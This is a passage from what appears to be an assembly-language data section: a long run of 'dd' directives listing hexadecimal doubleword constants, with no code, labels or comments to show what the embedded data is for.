0F02829E5h, 30B096C2h, 912132BEh, 9F0019BBh, 30C75D5Ch dd 7C4975h, 5BF38123h, 5AACC6BAh, 0E6064502h, 0D29C553Dh dd 0B680CF9Ch, 4046C9A7h, 0A8C849C5h, 1C56B030h, 0FB3BEEF0h dd 0AECC45E1h, 4E5D00B6h, 850F26C6h, 3D012AC2h, 2FB24717h dd 30E4CDFBh, 0AD1183Ah, 6704980Ch, 0DF4BD304h, 0F880F009h dd 9E950338h, 0DB917700h, 8D8B9BC0h, 1C1F68C1h, 3380DC6Ah dd 486099FFh, 7A243F4Eh, 80ECB626h, 8E2C8FDEh, 0C3055764h dd 0BADA8303h, 7E1AF000h, 7C8A3D3h, 0A21F5E4h, 801BF23Eh dd 0A572C440h, 596E4288h, 16015847h, 645A9FB5h, 3EF18483h dd 0D491B869h, 0A4344F86h, 0F90E00F0h, 2D7FED64h, 3901971Bh dd 0FD04E022h, 0F834DA89h, 0B78425C3h, 9140E017h, 4A14420Ch dd 0F1D02202h, 8D00CD04h, 0FE14E569h, 61869494h, 3E999EDh dd 3FFCB016h, 3BA3A81Ch, 87DDE4A0h, 3CFD0888h, 0B9075BBFh dd 47776997h, 53483190h, 0BEA12AA2h, 80D7B471h, 1A37DDh dd 0D908FCD0h, 4E350DBFh, 0E03BA3Eh, 6034B2A8h, 49639499h dd 2F423B9Dh, 0DA4CB06h, 35053977h, 0C561DE1Ch, 0B812500Ch dd 9FC90704h, 42C11114h, 0B261130Ah, 0D754529Bh, 0C9009704h dd 0B3F6C6C5h, 0C338C074h, 0E2DA0E8Fh, 45294036h, 4DA902h dd 97AB1B89h, 0E4109DC0h, 90CEEB2Ah, 0B244F600h, 0D719A27h dd 0E85277C8h, 0E4CC7F7Fh, 0A5C70045h, 0E2AE3977h, 80E7EB6Ch dd 631A9C39h, 6AFF69h, 0A2431965h, 3394AB2Bh, 0E13D9E18h dd 0F0B1329h, 8C16CCD4h, 19CFEA06h, 5C82E00h, 3B65895Fh dd 33453F8Dh, 8FDD1A00h, 0FB96E95Bh, 206BD82Fh, 1C8D18D4h dd 0EA11C5C6h, 136007E9h, 0BAE870E5h, 49004032h, 3AC2B111h dd 188E60Bh, 90FA0AB3h, 47538A42h, 0F78FF0A4h, 2000B07h dd 0BACBFC6Eh, 0A8895CC4h, 10510B0h, 0D0E5C843h, 8112D425h dd 0E214E350h, 1424AC48h, 3E7910h, 0E254CFCh, 4E06E3F5h dd 0DC74B3E8h, 4DC94400h, 5A7EC7A7h, 3BE00087h, 54DD66D2h dd 0A003985h, 1EB62FF4h, 5CA726h, 7377832Eh, 314668FCh dd 87FFB400h, 0B76D067Dh, 0A8E000ACh, 0D9A01617h, 0E20C7723h dd 30BC0FC1h, 0F6F13933h, 729DB783h, 70735B3Fh, 9F704A5h dd 3C030A75h, 6983DB41h, 0D493FFE8h, 0C7657900h, 0DD8CA598h dd 0AF8395B0h, 36E042A3h, 0F8195B66h, 6429D2B1h, 1644E508h dd 78034491h, 4430CB44h, 12EDB8A6h, 0DA3510ADh, 28417C89h dd 9912318Dh, 3C426011h, 56288228h, 2255242Eh, 0F4648419h dd 12225C21h, 731482C1h, 1C4025FAh, 7701D128h, 0AF761084h dd 140C287Ah, 0FFFB4F01h, 40942A2h, 12AD2D11h, 0FFD711B8h dd 14055128h, 847E9642h, 51C8FE71h, 0C8A44731h, 0AAC9D09Bh dd 0D8C5C0D5h, 0B6645CFDh, 9D516A0Fh, 0F0229127h, 0E2DE8054h dd 0B43B5800h, 8D920B21h, 397FC44h, 0BF887438h, 3A58BC30h dd 63820BE9h, 20EA8E6Ch, 1BD03CE9h, 4821005Ah, 0CC2F90E8h dd 8B034B24h, 56FC9C93h, 89C5A8E3h, 699900E1h, 0EEF7DBC1h dd 0E40028CBh, 6270CEF6h, 17EF8Ah, 0C9544876h, 0F1C495EAh dd 83469700h dd 9330873Eh, 0DA425C6Bh, 0BEAB1Dh, 22FBA601h, 89EB35FAh dd 294C02F2h, 0C0B10E54h, 0BA2AE461h, 1810E281h, 0D23E2382h dd 0C400D05Dh, 3ACA05CDh, 9435E5h, 0DA9C31A2h, 0BB8DFF4Ch dd 0C703C9FEh, 32C1D9C0h, 537000D7h, 0BCACD6D3h, 0ED00B08Bh dd 63F725FCh, 0EC38DBh, 0FFEE3CD9h, 76A8A364h, 9B01BA75h dd 0E4301320h, 9820D882h, 0FD240087h, 94454F2Dh, 4000F8BBh dd 465728FAh, 1FF41F0Dh, 0CE18C25Eh, 3A87AE38h, 0C33140AFh dd 600B42Ah, 0EF6AA4ADh, 77D7E2h, 90C7DF80h, 1E3A93BDh dd 0A8DE0E03h, 809AB26Ah, 0F12B7EAh, 0ADC96685h, 0F4E5435Fh dd 2FA05B29h, 1F011120h, 252B1E1Bh, 64E424C0h, 54E30B4Ah dd 0AB00331Ch, 7FBC3AC3h, 0EC7252E8h, 9269600h, 0A49EDA2h dd 0FAEE0E8Fh, 0D72058D2h, 0A1FE340Fh, 0A3271B1Ch, 0DC02B00h dd 0A8D2DBh, 83EB2CEEh, 34750E3Fh, 0D46D0228h, 68D51D00h dd 0B01073BFh, 0E67A00A5h, 0BE9506D6h, 0BD0011DEh, 0BCEC0499h dd 54700Ch, 9197CB81h, 0A79CAE9Fh, 0C55AE400h, 9380DCDh dd 0F6E50015h, 7F9BE30Bh, 0E80C0801h, 609A2D8Ah, 0ED75ABh dd 85A204AAh, 6351BAB0h, 1D22F3Ah, 54E60375h, 7FCD0705h dd 12F04420h, 20256DF4h, 72DA951Ch, 6174A700h, 0D5B86E44h dd 731A0075h, 0B236537Fh, 0F9029BCCh, 4BFDD013h, 804407Ch dd 0DB710420h, 80EC0281h, 38A6DC9Eh, 3383DF13h, 5940AC40h dd 1817610h, 360CE1CAh, 878E5C53h, 0FDF41940h, 79F10BA0h dd 5EEE019Ch, 9D34B35Ah, 0A1E840A4h, 86036DF5h, 4D042577h dd 68B2B8A2h, 8BF200D4h, 0B7B43487h, 157F6453h, 78248C07h dd 0A8F084DEh, 9BEE09h, 9D487554h, 0C85BF39Eh, 0C20ECA00h dd 0D0F813Fh, 0CBAF2446h, 0F20F3914h, 0EFA0DA64h, 0A890B6F8h dd 75877D00h, 35DDFC98h, 0D4FE5Eh, 301677BAh, 8523DC8h dd 7663A207h, 10E0ED5Bh, 1352075h, 3D42D33Ch, 20940402h dd 4B0F4913h, 0E0816847h, 923FF59Bh, 902000B4h, 6141AFDFh dd 4A01677Dh, 46380C72h, 0FBE8EBA8h, 0DACE0092h, 0D80DED3Eh dd 0C4506983h, 8C0F80ACh, 52A681C5h, 0D5ED5E00h, 1537F6h dd 1D2F1F3Dh, 20E16528h, 0C1002A90h, 0ABEC16DDh, 4FA06h dd 2D815B70h, 55A26A42h, 1954F900h, 631E258Dh, 46484C89h dd 0B341B209h, 0CB951820h, 9824CA82h, 8B0250BDh, 0A0F49CAAh dd 555CA0C8h, 0F10A0685h, 19C777A6h, 844FF53Bh, 0AD0CB6A3h dd 0BB5071C0h, 39350090h, 328A6C6Fh, 5D00749Ch, 3B36626Dh dd 3C386875h, 0EE83A525h, 0DF1CCAE3h, 7A28FC98h, 84EDF400h dd 585E3A17h, 5A3F0089h, 0F3A76676h, 0E00F2CFh, 24C81686h dd 58B279h, 0C58E5ACDh, 94EC1348h, 0E95CF501h, 89656DAEh dd 49A39C8h, 91117AC1h, 4AF78080h, 1000D1BEh, 1862F3DDh dd 0B60FF1h, 0B3DAD596h, 2BFA7141h, 0A91D57F6h, 66C760F9h dd 0F5CA221Bh, 25A27700h, 14AC783h, 2A787DB9h, 0D6880F9Bh dd 32018780h, 0A602D477h, 52FFCB47h, 0C54C028h, 8CCA0508h dd 3C799EEh, 0B5BCB0F0h, 8BD3D6E8h, 0E5DD6900h, 0E054726h dd 4CFF004Fh, 50F054F8h, 0AA00C7FBh, 7BDC420Dh, 0F52A36h dd 1E314B60h, 85929A32h, 0E945091Fh, 795300E0h, 0AA394218h dd 0CF07F716h, 77EA577Ch, 0F61E1AD0h, 0B78B0EC2h, 5A079249h dd 15EA042h, 3100F326h, 78EC9193h, 259C94Fh, 97066299h dd 0E840DBE7h, 0DD006F55h, 9EE69DEBh, 13C1BA34h, 7D8060h dd 1653F54Ch, 3D1EE7B1h, 460124EDh, 6F7F315Ah, 0D5F420h dd 1D9E3B3h, 0F11BF4E9h, 4AC98900h, 0B854765Eh, 0EBA60377h dd 9EAC05ECh, 3641A8F8h, 1E9AE58h, 170A3DBBh, 0F04029CAh dd 0F891397Ah, 7B81Ch, 0AFFDBD68h, 0F6762D6Fh, 580AA82Ch dd 4208C17h, 4BE2E72h, 990AF2Ah, 2F48C00Fh, 11FFCC1h, 300BB37h dd 55C6235Ah, 16D200A4h, 1FCEEF67h, 7A03D883h, 0C3CAB57Bh dd 46959807h, 0FAE1003Ch, 5A222A34h, 7E48F772h, 0C14C00A4h dd 3C4E576Ah, 0DE6D1DFBh, 0EC8D8355h, 5FCBF17Bh, 0A458C0DCh dd 1A3DC219h, 8A8B8041h, 14F8AD26h, 0BC8D0204h, 0DCB72A31h dd 0FF4D5C60h, 0D37B5D05h, 0BC0037DDh, 0EB4BE422h, 611400B0h dd 7EE3FE56h, 0C278EF62h, 9ABBDD00h, 0FBB26E4Dh, 0F17A59h dd 2446C729h, 962E051h, 3C869900h, 3968A04Dh, 8D530284h dd 0B3A4FE94h, 0D4B03860h, 0C1796225h, 37E03DA5h, 0F0A27707h dd 0E0DA021Ah, 330CC54Ah, 4B84E080h, 1B00AF5Dh, 0CBDB1E41h dd 1C5F0770h, 1CC846D9h, 56C54064h, 16FF8887h, 0D58D980Bh dd 0A649051Eh, 695AE700h, 0B03B61CEh, 2EB93C05h, 8D4D8100h dd 248BA862h, 89E138h, 0FD6F9F1h, 0D417ECh, 0ED139837h dd 0DE362D57h, 2454EE00h, 9D1B94D0h, 50915853h, 0C3B46605h dd 0AF1C9526h, 7C71AA80h, 437000E6h, 0FE60F4A7h, 1B0CF6C2h dd 96AB0154h, 77420024h, 0A0295358h, 2C009C37h, 22A1F7ECh dd 0F2274184h, 93092E7Ch, 0B1F00088h, 0C036101Bh, 0B7A89F00h dd 0DB258BEFh, 125804EEh, 804A52DAh, 5AEBF510h, 0AECC810Ah dd 0C00F026h, 7FDB4A1h, 2D250067h, 1DCD458Bh, 2E058D3Bh dd 0A6DDCB31h, 0E0FC44C2h, 651AACh, 6DB0A15Fh, 2A14834Fh dd 0F1AD6300h, 9A09397Fh, 1D8200E3h, 55950F06h, 203E8BAAh dd 27651FA5h, 44849340h, 396EF828h, 5F8031D8h, 782DA6F2h dd 867D630Bh, 0AD58DC00h, 21DF39E3h, 0E0125F61h, 180237FDh dd 7D8B657h, 0A2B88069h, 1280E96h, 5E61488h, 0C5AC038Ch dd 0A6B9DC98h, 701B1D00h, 0C2DBB6B4h, 0B73A0F0Ch, 0B080A978h dd 0C60F3FB9h, 0DF03F900h, 0B691C31h, 584909Ah, 401AAC5Eh dd 0B2BFC03Fh, 0B409AED2h, 80C0F9A7h, 14DF10A0h, 0F3370331h dd 863E026Bh, 2D64E688h, 0AC9EAF09h, 0B0B08094h, 1D4A281Bh dd 803B666Eh, 2755C997h, 7D01D1ACh, 0E5B2F9D9h, 78F1A4A2h dd 273A030h, 3941B9DAh, 0D7806450h, 0CB437E6Bh, 604BE75h dd 46BB9AD3h, 76D1B080h, 0FED70308h, 0DD49A213h, 787A9CE0h dd 0D49FD001h, 0BF6EBCA8h, 0FA4EF443h, 641A400Fh, 0EDC82C4Ah dd 0BB1C00E0h, 0BDB20156h, 7E790C00h, 0D35BEA4Eh, 0DAC83058h dd 3E49ED58h, 76DD0400h, 650F4125h, 1B1F002Ah, 1121B7E0h dd 0A1F84CFAh, 1D976700h, 0DC168D8h, 0D11B0096h, 2B0F5D14h dd 761EB051h, 0E1401E44h, 0E6AD9050h, 0E032F2C0h, 4598D8h dd 7B727704h, 0C210CCE8h, 35809C96h, 0FBF9221Dh, 0BB8F0063h dd 7380E068h, 7B90664Eh, 6F6B4C00h, 6C4D3BA0h, 15C4147Eh dd 1C00D494h, 7AE57104h, 0BD02774Eh, 0A24B9961h, 2CD8E4A0h dd 18F8D0h, 0BA166B66h, 0DE009073h, 0BBA1AACAh, 1EA17DFh dd 291F0596h, 572FE06Eh, 852DD0D4h, 8D002654h, 0F0180C74h dd 71ED922Ah, 0AAAF0259h, 5172FAF3h, 18D5B860h, 533B8900h dd 28C1D7F7h, 9CDB503Ah, 50A467E6h, 961A9162h, 0D0C4201Dh dd 0AFBD150Fh, 0C07A6EC7h, 0DE0F26FEh, 57EC073Eh, 401FF94Ah dd 0E077DB85h, 0B2006E7Dh, 1E015B2Bh, 9A5E8BE3h, 56AD0088h dd 39B04BC2h, 0F600945Dh, 0B180636Bh, 26A55975h, 192C71Eh dd 0D5928640h, 1002FC43h, 2651D800h, 0B284E56Dh, 0E201005Ah dd 0B536CEA6h, 0D005331h, 38441F22h, 7E5A7AC3h, 0E5F700FAh dd 9476556Ch, 0FD004DE0h, 0A15C8E57h, 0E886FEh, 2A40640Dh dd 0D4EC7311h, 3A9BF500h, 0E1B14424h, 3C3900A6h, 75535B32h dd 783F4A6Ah dd 30CF8373h, 0E85C1650h, 0F96CD34h, 0A6E9E10Fh, 0FAE6B240h dd 8269740h, 7400F012h, 0E782AEF9h, 54F10065h, 7B0D6D1Dh dd 4700FF6Eh, 6FDA9756h, 0B4AB442h, 6DCF6A81h, 5874A800h dd 6601CB72h, 5FEFCC35h, 0E08049AFh, 0BF87FC60h, 580088EEh dd 8E78B963h, 707D77D7h, 9BE300E2h, 626F20E4h, 80124805h dd 7D005B0Fh, 0B5178DEDh, 3F980070h, 0F8C8B0A7h, 3600C692h dd 0ACB4E8B8h, 1CED9BFFh, 0C0751097h, 68B21C45h, 6AB0B111h dd 0CEE48500h, 6E1F0E06h, 547B4CD9h, 0CA80F13Dh, 3CDA8122h dd 470029F6h, 36A88CB4h, 1E20B1E3h, 476A0879h, 80C22DFEh dd 0E09EF1A4h, 0F8381709h, 81140E16h, 3C9147B4h, 0BA2103F7h dd 256A6339h, 871A50E8h, 0FCCCDC00h, 0B5CA41F6h, 0C6200EBDh dd 0E1078410h, 82C71E5Bh, 0E3809017h, 57011911h, 5C78AA48h dd 3860C8C9h, 1BC20072h, 8F628125h, 0DA010229h, 3965F88Ah dd 3030676Ch, 5BE50C2Eh, 0FB11FE74h, 0D7F41C00h, 0E4F085FCh dd 0B14F00B3h, 77C69936h, 29095F96h, 0C315E6B4h, 76568884h dd 47D8A8B7h, 0B4AA00FCh, 3277743Bh, 0C4E1A9Ch, 0AAF35023h dd 71001C4Ah, 391A22D4h, 288B57Eh, 58104698h, 0DCE43140h dd 0A075F500h, 0D5C41BD1h, 1AF3005Ah, 14CE2F3Dh, 4603E430h dd 0B1FEB6BDh, 0EDEA986Fh, 253F0E2h, 7083CE2Eh, 7858E9C4h dd 2264B302h, 61348BD6h, 0B940EF29h, 0A3ACD8h, 0D7C6DCC4h dd 0F6BAF807h, 35E5E700h, 0E0E9B9A0h, 19ECF8A8h, 1ECC74A5h dd 7654EC26h, 0AED3306h, 0FCAE08h, 4CD2722h, 94C3BB5Eh dd 72101E07h, 8E5011A0h, 1DE591h, 7C70173h, 0B6AEDB1h dd 0A0FA8900h, 836C542Ah, 0C30900F3h, 38622404h, 850071B4h dd 0EDD36D76h, 0F5986E4Ch, 2FABECh, 0F2B76049h, 0C91DB050h dd 3CE7BC01h, 79801BD2h, 0B9835083h, 3FE841A2h, 0CD79F66Ch dd 531AC690h, 43905CCh, 0B1C324D4h, 0FDF5D844h, 0D5080728h dd 70F3BF9Dh, 1CCFBA13h, 4F74110Fh, 0E7B720ACh, 0E332C3h dd 97313473h, 51A30DAAh, 8128307h, 0BB3084B6h, 3A17A8h dd 93BDFAEEh, 0A7BAA073h, 0AEEBDD01h, 47183E16h, 2BF4A9FDh dd 0D2F80008h, 0E3CF9BC5h, 0C60035ECh, 7F23272Ah, 7E8FC4DCh dd 0BFEA9Ah, 49723A21h, 0F862C93Bh, 0C8367E00h, 787D27A0h dd 63510705h, 0A0C2EA37h, 3CBBD3Ah, 0D4006278h, 0FFB80B21h dd 63C4DDh, 0F95C992Ah, 6642CF26h, 97273800h, 247B6F1Ch dd 0DA78004Eh, 5231897Fh, 0EF005A0Eh, 2638B895h, 0C0E6460Dh dd 6819810h, 0C5005285h, 68FE9FC1h, 0BB2034h, 44034B3Dh dd 8AA05541h, 6B4E500h, 0A812DD6Ah, 0EC2C0F61h, 26C0A334h dd 78D11A7Ch, 8086473Ch, 182D25B8h, 0E316435h, 2F51293Dh dd 0F6B7A5A0h, 59C35688h, 0F3C65DC9h, 0C1E0DAA9h, 2261CA81h dd 53FC8AEDh, 0B0EA00C7h, 5B7E2338h, 50B863EBh, 0ACE06B1Fh dd 4BF2B241h, 69D46560h, 3BE500DFh, 8DD8A26h, 0EB007689h dd 0D244A9E2h, 26FE60F5h, 5C8E64Dh, 803B4854h, 6A23659Bh dd 0D434C90Eh, 173E605Ch, 3B9E887h, 103DA992h, 79A8A7E0h dd 2F00D853h, 0A15EEAC5h, 92AB8E1h, 0D7B694DBh, 0CD910180h dd 514827F8h, 45080373h, 0D0FD76C1h, 7BE79B6h, 1007CB88h dd 8E4ED00Dh, 5E0099FCh, 0CCA4C54Bh, 28899Ah, 0B3A66EEEh dd 3EABD96Ch, 0F8606D00h, 957643A8h, 0B02500AAh, 235C08EAh dd 93C01D1h, 7B1102D4h, 0D824DEABh, 0DCCF0374h, 3D4D3667h dd 3C7F1EB1h, 3E3C0094h, 0E92D9443h, 0EA080019h, 0C95A2385h dd 6D019BCFh, 0FDD824D7h, 74305675h, 16BC0004h, 8A9EE692h dd 3C04D91Bh, 0D753F737h, 541F20A8h, 1FBF00A4h, 6368F960h dd 2AA6A003h, 0F8F59C66h, 8832A8h, 0B3F6D727h, 62AA1AB8h dd 488DA750h, 1FD09C00h, 0F852116Fh, 0B8E800A0h, 0E6325E37h dd 752C3BC3h, 0CF00961Dh, 31A4D524h, 0FDE1009Ch, 0D2986AA8h dd 2800AC43h, 0F944015Fh, 0B07C5503h, 21AD00BEh, 25A290DAh dd 0E4988BB6h, 4D3EC000h, 0B7997CF3h, 2C4E0070h, 0E3519701h dd 0EF0E9B21h, 633A114Fh, 0E8B67F15h, 0BCF742h, 80C40630h dd 0FCA26919h, 0C900AC78h, 0FAAF20DCh, 1D89E52Fh, 83EF9F4Eh dd 5EF17246h, 0D798ECBBh, 0D600691Ch, 8C505205h, 3FC6A43h dd 576EDFF5h, 0CFF85480h, 0C800CE7Dh, 4AE6A993h, 1C59FEF8h dd 80580348h, 9DCC3A56h, 88504B33h, 0BC005EB8h, 0D6701ECBh dd 3D545ACh, 0E1945902h, 78004B68h, 0F1FB2658h, 3919BC33h dd 4C016AAEh, 6B608F1Ah, 74277020h, 0FFC3840Fh, 87AC89D9h dd 11A09C19h, 0BDB38Bh, 0ADA204ABh, 7D846044h, 3D9FD00h dd 0B9B830E3h, 9A6E0022h, 93C04B2Ch, 2100A215h, 608CAD1Eh dd 5EF9A7h, 0F64E7204h, 55A556D6h, 26E14A00h, 4D475C5Fh dd 0CA5700F4h, 806D1B9Ch, 6F00AC62h, 63820CF2h, 320A8EDh dd 0E2B70ED0h, 38C85B90h, 0E4012FA9h, 74815568h, 0DC6071A2h dd 8B500BDh, 4F701320h, 47001985h, 1F356977h, 5D6E7Fh dd 5CD8A4F8h, 22B80F63h, 0F238340Eh, 873DE03Eh, 65C193h dd 0A89FAE2Ch, 79D8575h, 0DF00C8B8h, 0DE2764A1h, 24314BFBh dd 590D808h, 9BE020Fh, 90210BF6h, 80955D38h, 2A14B652h dd 0FD6AFA36h, 92F6A6FCh, 3E03007Ch, 0B5337A66h, 5A00E345h dd 7199AF1Dh, 1DA3CC72h, 0C005F3A8h, 0A4EBA711h, 0FA00E786h dd 0EEDB260Eh, 68DF0BCh, 452EFF34h, 6F0030DCh, 670DCB63h dd 3F148A56h, 360E5E3Eh, 9F4094BDh, 0B3F287F9h, 0DC9C48h dd 0B539A98Ch, 0B66C41Eh, 793B33CAh, 0E8241380h, 2F00CD01h dd 0C0B270C1h, 2CE5ABE6h, 1493680h, 0C2429958h, 0C6E7DCC5h dd 470C4E04h, 0CCF0FE50h, 0B4CF003Eh, 0F3A27F55h, 1005E2Bh dd 67332031h, 0FF5FECh, 867530A7h, 66FA27D8h, 242F5500h dd 99476C44h, 0B5711F8Eh, 83A407E4h, 7A68D04Ch, 0A8758121h dd 61D15200h, 0D28776E5h, 0FF7175h, 7EBF9993h, 0F86A5FBDh dd 789A3126h, 8C884800h, 1F2A8EB8h, 0B5B1A4h, 2BC8FBFh dd 0E4026707h, 0E9192DAEh, 0A55460BDh, 0B2B300FFh, 0A8CCE1EEh dd 0D6003BE3h, 1C4B317Ah, 50FD4Ah, 0B1E2580h, 0B3766152h dd 0C3121094h, 60885C0Fh, 7CC75FBEh, 2663002Dh, 8EBC6A9Ch dd 4A0067DDh, 0C8252EACh, 18D8CAA8h, 0A866B111h, 0E4001CA9h dd 697F626Eh, 2836E850h, 0E7983749h, 30204061h, 1250BCBAh dd 9F6CA55Ah, 11647611h, 7BA4072Fh, 0D84A2CB0h, 6FECF013h dd 0B9A2A048h, 0E8D05EFEh, 27E640C3h, 0D0110074h, 54BDB615h dd 0C4126C0Fh, 0B4032037h, 0F842E938h, 0C047D78Ah, 98149548h dd 1C00E604h, 3F0A816Eh, 738396h, 0C2CCDDBCh, 0FD26E8B6h dd 0BE658E16h, 7793040h, 0FB744Eh, 0A8F4D99Ah, 2A1DD64Ah dd 95344CB2h, 1C60711Fh, 2AFED79Fh, 0EB41A50h, 322CF11Ch dd 3E665AE1h, 0C9D271ECh, 799C40DFh, 5209F97Bh, 80A0DCDAh dd 1663F3D7h, 33A80155h, 0B5055A89h, 81143060h, 0A2FD2B0Ah dd 0F3839C4Dh, 0E1B074Ch, 3CC84169h, 4E361120h, 46004D76h dd 3EF58E2Ah, 1C8A39F7h, 419BE08Bh, 0C5552793h, 7BA1C058h dd 42FD8D0Ch, 0F07449ACh, 1DE72E6h, 3682F42Fh, 0E490CE99h dd 0A1603BB0h, 0F8D997E9h, 0C5540A72h, 80ECAD55h, 21C940F6h dd 7F0090DDh, 0D57962BBh, 0E0F00BEFh, 0EC6B0645h, 385F4C9Ch dd 0B3065806h, 0ECD18C63h, 0DFF4008Ah, 0FE3187FCh, 6406A522h dd 8B12BB40h, 2FD50078h dd 2465440Bh, 0AC12DF59h, 80A06C34h, 52772E5h, 0E6B5B896h dd 89E00109h, 60131C35h, 0F8679B51h, 0B050FE69h, 0BD8FDh dd 34E775C4h, 27C778ACh, 64A33800h, 0D6828418h, 1DF0964Bh dd 141CE431h, 58224D4h, 400CB5F7h, 0A745384Fh, 40F2C49Dh dd 965A838h, 0FF027A31h, 33DADE8Dh, 2E24E087h, 361307E6h dd 53F571B6h, 0D3D0A1EBh, 0DF601FD6h, 23822A70h, 0D0DC1E86h dd 2C2B85EEh, 0ECD04904h, 100413FEh, 0D8806299h, 981DA14Dh dd 19500093h, 63B61F3Dh, 0D892C8BEh, 0DAD1DF2Ch, 78F12200h dd 5030A832h, 30878E91h, 0E3928F67h, 28034F5Fh, 11633698h dd 4A589075h, 68950E25h, 5CE0B010h, 8413BD26h, 43183800h dd 7E21FCE4h, 48390E5Eh, 98F58927h, 0B677230Ch, 451F02B1h dd 0ECE4F268h, 0B0D3DD80h, 0BD6B0Fh, 6EEE291Fh, 11D140B5h dd 9DBFACA8h, 84238439h, 8BC0B6D4h, 0D90EB4ADh, 0CFC021C7h dd 9214DAD1h, 993A0901h, 0D7612C46h, 906891DCh, 20250008h dd 1ECD7DD5h, 0B8B86533h, 243B0BE8h, 728F00A5h, 213A14C3h dd 41C91E44h, 0EDA4C0F2h, 3D9E649Ch, 3FF61976h, 8DB03805h dd 90A0C587h, 22B700E3h, 14F78E7Fh, 412C62B8h, 0D80F18FCh dd 47B08154h, 46070A1h, 82940158h, 0BFC1F02Ah, 4A08E4B2h dd 8E1BCF00h, 3A18C25Fh, 0A9C40041h, 7670C664h, 8B401DECh dd 787C0044h, 0A03662BCh, 0D4B4A9B5h, 33FBA680h, 321AB11h dd 84CA1535h, 97D8A1F5h, 1400F2C6h, 1D079CE9h, 24D6E12h dd 9465087h, 4C07E25h, 5D253647h, 964C4041h, 16FF268h dd 311D8C54h, 0C05AEC93h, 13037732h, 0FA2640ADh, 0B079E06Dh dd 6EBA00D3h, 0B40DA775h, 2C005B1Fh, 2B739CF7h, 182309Bh dd 2EDCEDBCh, 60B26E41h, 4009514h, 15CC9FC7h, 92096AE1h dd 0C64F04D8h, 9085E66Ch, 3C324B0Ch, 3950249Ah, 0C077FFDh dd 0A864E49Fh, 1A4598A0h, 57CA0C1Eh, 6C9A9EFAh, 0B7809700h dd 90659418h, 0E1DA0001h, 3408AAC8h, 38018FF5h, 4C75136Ah dd 44FC02B7h, 3D014CD8h, 0E825AE00h, 3B612B72h, 0B6EA3800h dd 77A80BA4h, 0CF830075h, 391870B8h, 0E30FBC21h, 0AB711F08h dd 4F468724h, 2D15E730h, 1166028Bh, 0FDE262ADh, 0BD13E870h dd 9400802Bh, 7AC4C77Dh, 0C27900E5h, 0EFA5FD9Eh, 5C003635h dd 26921A34h, 2824305Bh, 0D08FD1h, 0D36CAFE9h, 0D8DE8055h dd 0CE007E76h, 31883E30h, 0DC8D3Ah, 2321B6C3h, 0A8B97325h dd 300010B2h, 0A52A65CBh, 0BCAC2Bh, 0F2D56AABh, 734CF991h dd 1300C1E0h, 7F0470A2h, 6A0C3B9h, 9B57ECFFh, 0E42620D3h dd 770068CCh, 0D9289E84h, 0DBA013F0h, 98802016h, 43012388h dd 0CD50445Fh, 0E050A285h, 4547C2h, 9822F27Ch, 2FDA0DB3h dd 9200089Ah, 0D9930E81h, 47F32CDh, 804BC564h, 42F5C0D2h dd 362C8125h, 8F0070B2h, 991BCCB6h, 89ACBh, 0FC7243DBh dd 0BCF6C2AFh, 66C4C800h, 3091E81Ch, 0BC2493E1h, 0E955A700h dd 0A4BAC046h, 6413E300h, 0D361F2A6h, 0B6E200F9h, 52465CBBh dd 0B0F55A2h, 52653F3Ch, 27D94C46h, 0CDC700F9h, 70477656h dd 9304628Dh, 0FC5BD188h, 2387F0D0h, 440F5055h, 0B65F163Bh dd 975C4051h, 4A861669h, 0BC34560Ch, 2C326178h, 584E528h dd 909246C7h, 2BB1BCA8h, 65100CBAh, 5C71753Ch, 4E802421h dd 1017B1DAh, 5B48A660h, 0F5B3353Fh, 16D50530h, 751DE5h dd 0E2152F30h, 8478F7D9h, 34B6C605h, 9042F01Fh, 0C0CFEC13h dd 39337C0h, 84F6243Ah, 210265C8h, 0AF058607h, 634481DCh dd 93EA4DBh, 0AC8F22E0h, 1589B60h, 0C81221D3h, 0DC43A656h dd 7472B59Ch, 10370149h, 0CA97EB3Ah, 5157F4F1h, 992C23FEh dd 0E9805C67h, 6E4CAE69h, 0F363007Fh, 5B2E7232h, 0C105B346h dd 0CB386001h, 0C7AFA607h, 0FF799170h, 9A3D2CE5h, 11E0054h dd 864DC8BAh, 4A57FE00h, 0B8A337F4h, 0E06B00A5h, 0AFE3B172h dd 160019E5h, 78922AF8h, 0E9819C41h, 507360h, 0D5E59472h dd 733BAD5Ah, 4BAA7B05h, 80807483h, 4B78B0E7h, 52B80031h dd 804D4727h, 807558h, 1AB01B3Bh, 0A8BA7A6Ah, 3A5D5F0h dd 9F95ED55h, 0CA54D3ECh, 0AE00D264h, 3153390Dh, 93DEA91h dd 0FF28A846h, 0E4DEE025h, 8C00C9BCh, 8D469865h, 72331DABh dd 0B83E261Ch, 44C2003Eh, 40147BECh, 0E08F941Ch, 0F4B15A87h dd 222D5750h, 0AE610045h, 9B2AA420h, 88725E49h, 69CD9300h dd 0DD9A5332h, 488300DFh, 0F5FC5810h, 9015E0Fh, 54F19FDCh dd 0DDD00C1Bh, 0AF240279h, 6E323762h, 0C7018458h, 7A337E6Fh dd 7D44A55h, 613A00AFh, 0E4B21789h, 4D582908h, 0BA9903A8h dd 0B04A699Fh, 97A3AEh, 358D370Ch, 221C2619h, 3DF85267h dd 939C8990h, 5CF00D7h, 0E9F6C69Ah, 0FE199FB4h, 4C88DCF1h dd 48FECD0h, 0B7ABA234h, 78CB06Eh, 0E600E4B0h, 29182EAFh dd 11604F5h, 5F9BE330h, 3FE7E821h, 19432820h, 0A653000Ch dd 49AF8ABDh, 0B004D610h, 35ACE6B3h, 9A4158D0h, 906173E3h dd 701B1787h, 40282058h, 8A4919BCh, 0B3AA01DCh, 437A9314h dd 7D8F4470h, 88714ED1h, 72023EB4h, 98EFB90Eh, 87E080C6h dd 0F89C8896h, 587C80h, 0A39F28DEh, 3FB78DA8h, 20772B00h dd 0E38F2DAAh, 14EE0227h, 79D629D7h, 0E082440h, 546AF604h dd 0D4809EF1h, 1380AEh, 62E259CBh, 21F033FAh, 0FF48F872h dd 0D07400CCh, 0B9F76C6h, 8F10C26Eh, 0B560E75Ch, 9E1D3794h dd 0CEC091BBh, 0E648C31Fh, 0ADFC60h, 0FB9C2705h, 0DB6D2C23h dd 0F7B1810Eh, 425E0056h, 1678E695h, 61E0C651h, 761BB48h dd 66B84CC0h, 0A2890040h, 192CB2EDh, 0CD0E4839h, 0A0F68005h dd 0DAB0372Eh, 3D100981h, 0B046554Eh, 0D514EF17h, 57719E04h dd 0DB09F4CBh, 0C43D46h, 66D18918h, 2E0AFE21h, 872F78h dd 0A73473CAh, 0FD5926EFh, 0DFE30924h, 2EEC60EDh, 1C808835h dd 60609684h, 0E31F6B6Ch, 7992401h, 0E7746F85h, 